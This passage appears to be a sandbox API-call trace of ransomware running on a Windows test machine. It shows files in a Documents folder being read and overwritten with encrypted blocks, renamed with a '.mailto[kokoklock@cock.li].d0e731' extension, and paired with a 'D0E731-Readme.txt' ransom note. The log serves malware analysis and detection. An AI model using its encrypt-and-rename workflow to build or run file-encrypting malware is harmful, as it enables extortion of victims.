(in: hFile=0x774, lpBuffer=0x126bf7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x126bf7b8*, lpNumberOfBytesRead=0x126bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0069.683] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb68 [0069.683] NtQuerySystemTime (in: CurrentTime=0x126bf790 | out: CurrentTime=0x126bf790*=132121176275723091) returned 0x0 [0069.683] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x64768bb6 [0069.683] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x5c6294ac [0069.683] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xd4de0fea [0069.683] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x7c303b48 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x518389b7 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x8efa2eae [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x25effda2 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x9aa9de05 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x771bb73e [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xdc0f76b7 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xaea8272c [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x17c18ad7 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x86370f0d [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x65094c5d [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x2f02b0e4 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xdf3a4157 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x3ed8b6b3 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x547f163a [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x227f986c [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x6cf150b [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x3db9ca94 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x708e3f65 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x34957dc4 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x2cc20bcd [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xa0cd1434 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x874e2738 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x151e22fa [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xd47ec252 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x23afcf0a [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0xa03602b6 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x462a0842 [0069.684] RtlRandom (in: Seed=0x126bf79c | out: Seed=0x126bf79c) returned 0x4dac69e2 [0069.695] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.695] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x126bf768, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x126bf768*=0x4096, lpOverlapped=0x0) returned 1 [0069.695] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbb8 [0069.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbb8) returned 1 [0069.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.696] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x126bf768, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x126bf768*=0x4096, lpOverlapped=0x0) returned 1 [0069.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.697] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5dfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x126bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x126bf7a0*=0x20, lpOverlapped=0x0) returned 1 [0069.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x342bb90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x342bb90*, lpNumberOfBytesWritten=0x126bf7b4*=0x8, lpOverlapped=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x126bf7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x126bf7cc*, lpNumberOfBytesWritten=0x126bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x126bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x126bf7b4*=0x6c, lpOverlapped=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x126bf7b4*=0x20, lpOverlapped=0x0) returned 1 [0069.697] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x126bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x126bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0069.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb90) returned 1 [0069.697] CloseHandle (hObject=0x774) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eae10 [0069.699] wcscpy (in: _Dest=0x33eae10, _Source="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" [0069.699] wcscat (in: _Dest=0x33eae10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" [0069.699] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eae10) returned 1 [0069.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx", dwFileAttributes=0x20) returned 0 [0069.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.699] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.700] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.700] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34312b0) returned 1 [0069.700] RtlExitUserThread (Status=0x1) Thread: id = 435 os_tid = 0x39c [0069.701] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx")) returned 0x20 [0069.701] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx", dwFileAttributes=0x20) returned 1 [0069.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.701] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1273fcf4 | out: lpFileSize=0x1273fcf4*=89341) returned 1 [0069.701] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x15cf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.701] ReadFile (in: hFile=0x774, lpBuffer=0x1273fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x1273fcc8*, lpNumberOfBytesRead=0x1273fcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.702] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb90 [0069.702] NtQuerySystemTime (in: CurrentTime=0x1273fca0 | out: CurrentTime=0x1273fca0*=132121176275879226) returned 0x0 [0069.702] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xdb0eefe9 [0069.702] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x93b47eaa [0069.702] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x82249c81 [0069.702] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xf8860a92 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xbf4016ff [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x7563df5f [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x9bc7b06b [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xbbcf24fd [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x7fccdded [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x37944fb0 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xa2c367be [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x29e4e584 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xfdc63c35 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x1c91b494 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x9be6b918 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xeb92c8d3 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xcb6df47c [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x642ce3d1 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x989902f1 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xaa830f72 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x9f0e8b55 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x63a6ea59 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xf9af99b0 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xa1d63cb9 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x86fe96db [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xb0c0fd0a [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x6e8f4a43 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x754cf689 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x4053cba3 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0xcc91263a [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x3a8826a1 [0069.703] RtlRandom (in: Seed=0x1273fcac | out: Seed=0x1273fcac) returned 0x5c085fbf [0069.714] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.714] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1273fc78, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1273fc78*=0x4096, lpOverlapped=0x0) returned 1 [0069.714] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.715] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1273fc78, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1273fc78*=0x4096, lpOverlapped=0x0) returned 1 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.715] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x15cfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.715] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1273fcb0, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x1273fcb0*=0x20, lpOverlapped=0x0) returned 1 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.715] WriteFile (in: hFile=0x774, lpBuffer=0x342bbb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x342bbb8*, lpNumberOfBytesWritten=0x1273fcc4*=0x8, lpOverlapped=0x0) returned 1 [0069.715] WriteFile (in: hFile=0x774, lpBuffer=0x1273fcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x1273fcdc*, lpNumberOfBytesWritten=0x1273fcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.715] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1273fcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.716] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1273fcc4*=0x6c, lpOverlapped=0x0) returned 1 [0069.716] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1273fcc4*=0x20, lpOverlapped=0x0) returned 1 [0069.716] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1273fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1273fcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbb8) returned 1 [0069.716] CloseHandle (hObject=0x774) returned 1 [0069.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce9d8 [0069.719] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" [0069.719] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" [0069.719] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.721] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.721] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx", dwFileAttributes=0x20) returned 0 [0069.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.721] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.721] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.722] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0069.722] RtlExitUserThread (Status=0x1) Thread: id = 436 os_tid = 0xd60 [0069.723] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps")) returned 0x20 [0069.723] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps", dwFileAttributes=0x20) returned 1 [0069.723] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.723] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x127bf7c4 | out: lpFileSize=0x127bf7c4*=55597) returned 1 [0069.723] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xd929, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.723] ReadFile (in: hFile=0x774, lpBuffer=0x127bf798, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x127bf798*, lpNumberOfBytesRead=0x127bf794*=0x4, lpOverlapped=0x0) returned 1 [0069.723] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbb8 [0069.724] NtQuerySystemTime (in: CurrentTime=0x127bf770 | out: CurrentTime=0x127bf770*=132121176276193853) returned 0x0 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x936febf2 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x8b385151 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xa7aeeaee [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xc7a29661 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x30fe841a [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x5d682e99 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x5f5f9541 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x25b116df [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x28dae644 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x261aa1b5 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x979fa8d1 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x16e4f3f9 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x8e06473 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x5902c7da [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xd1d7e2d0 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x3d930d61 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x2678dab9 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x71af38b0 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xe427de40 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xc1379f42 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xdd1629e5 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x68709abd [0069.724] RtlRandom (in: 